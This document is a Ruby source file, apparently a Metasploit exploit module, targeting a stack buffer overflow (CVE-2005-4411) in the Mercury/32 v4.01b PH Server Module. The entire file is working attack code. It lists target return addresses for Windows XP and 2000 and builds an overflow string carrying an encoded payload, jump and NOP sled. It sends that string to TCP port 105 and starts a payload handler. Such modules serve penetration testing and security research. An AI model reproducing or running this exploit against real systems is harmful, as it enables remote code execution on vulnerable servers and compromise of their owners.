71 lines
1.6 KiB
Ruby
71 lines
1.6 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::Misc::Mercury_Phonebook < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mercury/32 <= v4.01b PH Server Module Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in
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Mercury/32 <= v4.01b PH Server Module. This issue is
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due to a failure of the application to properly bounds check
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user-supplied data prior to copying it to a fixed size memory buffer.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 1.0 $',
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'References' =>
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[
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[ 'BID', '16396' ],
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[ 'CVE', '2005-4411' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x20\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
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[ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ],
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],
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'Privileged' => true,
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'DisclosureDate' => 'December 19 2005',
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'DefaultTarget' => 0))
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register_options([ Opt::RPORT(105)], self)
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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sploit = Rex::Text.rand_text_alphanumeric(224, payload_badchars)
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sploit << payload.encoded + "\xeb\x06" + make_nops(2)
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sploit << [target.ret].pack('V') + [0xe8, -450].pack('CV') + "\r\n"
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sock.put(sploit)
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handler
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disconnect
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end
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end
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end
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